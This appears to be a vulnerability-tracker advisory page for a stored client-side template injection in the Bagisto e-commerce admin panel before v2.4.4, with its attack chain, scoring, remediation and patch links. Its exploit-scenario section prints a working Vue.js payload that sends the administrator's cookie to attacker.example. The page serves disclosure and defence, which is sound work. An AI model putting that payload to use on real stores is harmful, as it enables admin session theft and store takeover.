Skip to main content

Bagisto CVE-2026-60120

| EUVDEUVD-2026-42694 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-09 disclosure@vulncheck.com GHSA-p295-7jh5-9j54
5.1
CVSS 4.0 · Vendor: vulncheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Register storefront customer account with CSTI payload in name field
  2. Delivery
    Administrator opens Create Order page for that customer
  3. Exploit
    Vue.js evaluates stored template expression in admin browser context
  4. Execution
    Arbitrary JavaScript executes with admin session privileges
  5. Persist
    Exfiltrate admin session token to attacker-controlled server
  6. Impact
    Attacker hijacks admin session for full store takeover

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that public customer self-registration is enabled on the Bagisto storefront, which is the default configuration for e-commerce deployments. The malicious payload only executes when an authenticated administrator opens the Create Order page (/admin/orders/create) for the specific customer account containing the crafted name - it does not execute on any customer-facing page or automatically upon registration. Exploitation is therefore gated on an administrator voluntarily initiating an order on behalf of the attacker-controlled account. Deployments that disable public customer self-registration, or that restrict the Create Order admin page to internal network access only, significantly reduce exploitation likelihood. The vulnerability is specific to Bagisto's Vue.js-rendered admin panel and is confirmed only for versions prior to v2.4.4.

Impact

The CVSS 4.0 base score of 5.1 (Medium) broadly reflects the exploitation prerequisites but understates the real-world impact potential. The attack vector is network (AV:N) with low complexity (AC:L) and no special targeting conditions (AT:N), making delivery straightforward. Exploitation requires a registered customer account (PR:L) and administrator interaction with the Create Order page (UI:P), which are meaningful limiting factors. The impact metrics correctly reflect a scope change: the vulnerable system (Bagisto application) suffers no direct impact (VC:N/VI:N/VA:N), but the subsequent system - the administrator's browser - sustains low confidentiality and integrity impacts (SC:L/SI:L). In practice, 'low' confidentiality impact in this context encompasses admin session token exfiltration, which can result in full administrative takeover - a significant real-world consequence not fully captured by the score. No EPSS data was provided and the CVE is absent from CISA KEV, indicating no confirmed widespread active exploitation. No public exploit code has been identified. Despite the moderate score, stored XSS that targets administrator sessions warrants prompt remediation given the potential for privilege escalation to full store control.

Exploit ScenarioDerived

An attacker visits the public Bagisto storefront, registers a new customer account, and enters a Vue.js template payload such as {{constructor.constructor('fetch("https://attacker.example/c?"+document.cookie)()')}} in the first name field. When an administrator subsequently navigates to the Create Order page for that customer, Vue.js evaluates the expression in the admin's browser, silently transmitting the admin's session cookie to the attacker's server. The attacker then replays the stolen session token to authenticate as the administrator and take full control of the Bagisto store.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 09, 2026

Stored client-side template injection in Bagisto before v2.4.4 allows any attacker who can register a customer account to execute arbitrary JavaScript in an administrator's browser. The create.blade.php template renders customer name fields inside a Vue.js context without the v-pre directive, causing Vue.js to evaluate stored template expressions as live code when an administrator opens the Create Order page for the affected customer. No public exploit code has been identified at time of analysis and the CVE is not listed in CISA KEV, though the stored nature of the payload and its execution in an admin session context make this a higher real-world priority than the CVSS 4.0 score of 5.1 alone suggests.

RemediationAI

Upgrade Bagisto to version 2.4.4 or later; this is the only confirmed fix. The remediation adds the Vue.js v-pre directive to the customer name rendering in create.blade.php, preventing Vue.js from evaluating stored template expressions. The fix commit is at https://github.com/bagisto/bagisto/commit/49d0c3fc90dedf8782c45c5979df4f4595d6bb97 and the release is at https://github.com/bagisto/bagisto/releases/tag/v2.4.4. If an immediate upgrade is not possible, restrict administrator access to the Create Order page to trusted internal networks via firewall or reverse proxy ACLs - this prevents remote trigger of payload execution but does not remove stored payloads and reduces operational flexibility. As a complementary measure, audit existing customer name fields in the database for Vue.js template syntax (e.g., {{, }}, v-) to determine whether payloads have already been stored; if found, sanitize or delete the affected records. Neither workaround addresses the root cause.

Affected VersionsENISA

Bagisto 0 <2.4.4

Affected Packages

euvd bagisto fix: 2.4.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Bagisto is an open-source Laravel/PHP e-commerce framework that uses Vue.js for frontend rendering. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). Specifically, the create.blade.php order-creation template in the Bagisto admin panel renders customer first and last name fields inside a Vue.js-managed DOM without the v-pre directive, which instructs Vue.js to skip template compilation for a subtree. Without v-pre, Vue.js treats stored double-curly-brace expressions (e.g., {{ malicious }}) or shorthand directive syntax as live template code and evaluates them at render time in the browser. This is a client-side template injection (CSTI) pattern, distinct from traditional reflected or stored XSS because server-side output encoding does not prevent it - the payload bypasses sanitization and is evaluated by the client-side framework itself. All Bagisto releases prior to v2.4.4 are affected.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vulncheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Network-accessible web app; low-privilege customer account required for payload delivery; administrator must interact (UI:R); scope changes to admin browser (S:C); no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jul 09, 2026 - 22:01 EUVD

DescriptionCVE.org

Bagisto before 2.4.4 contains a stored cross-site scripting vulnerability via client-side template injection that allows unauthenticated attackers to execute arbitrary JavaScript in administrator browsers by registering a customer account with malicious payload in the first or last name field. The create.blade.php template renders customer name fields without the Vue.js v-pre directive, causing Vue.js to evaluate stored template expressions as live JavaScript when an administrator opens the Create Order page for the affected customer.

Threat Intelligence Overview

EPSS Score
0.2%
Top 90% exploitable
Prevalence
Low
niche open-source PHP e-commerce platform, limited enterprise footprint
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy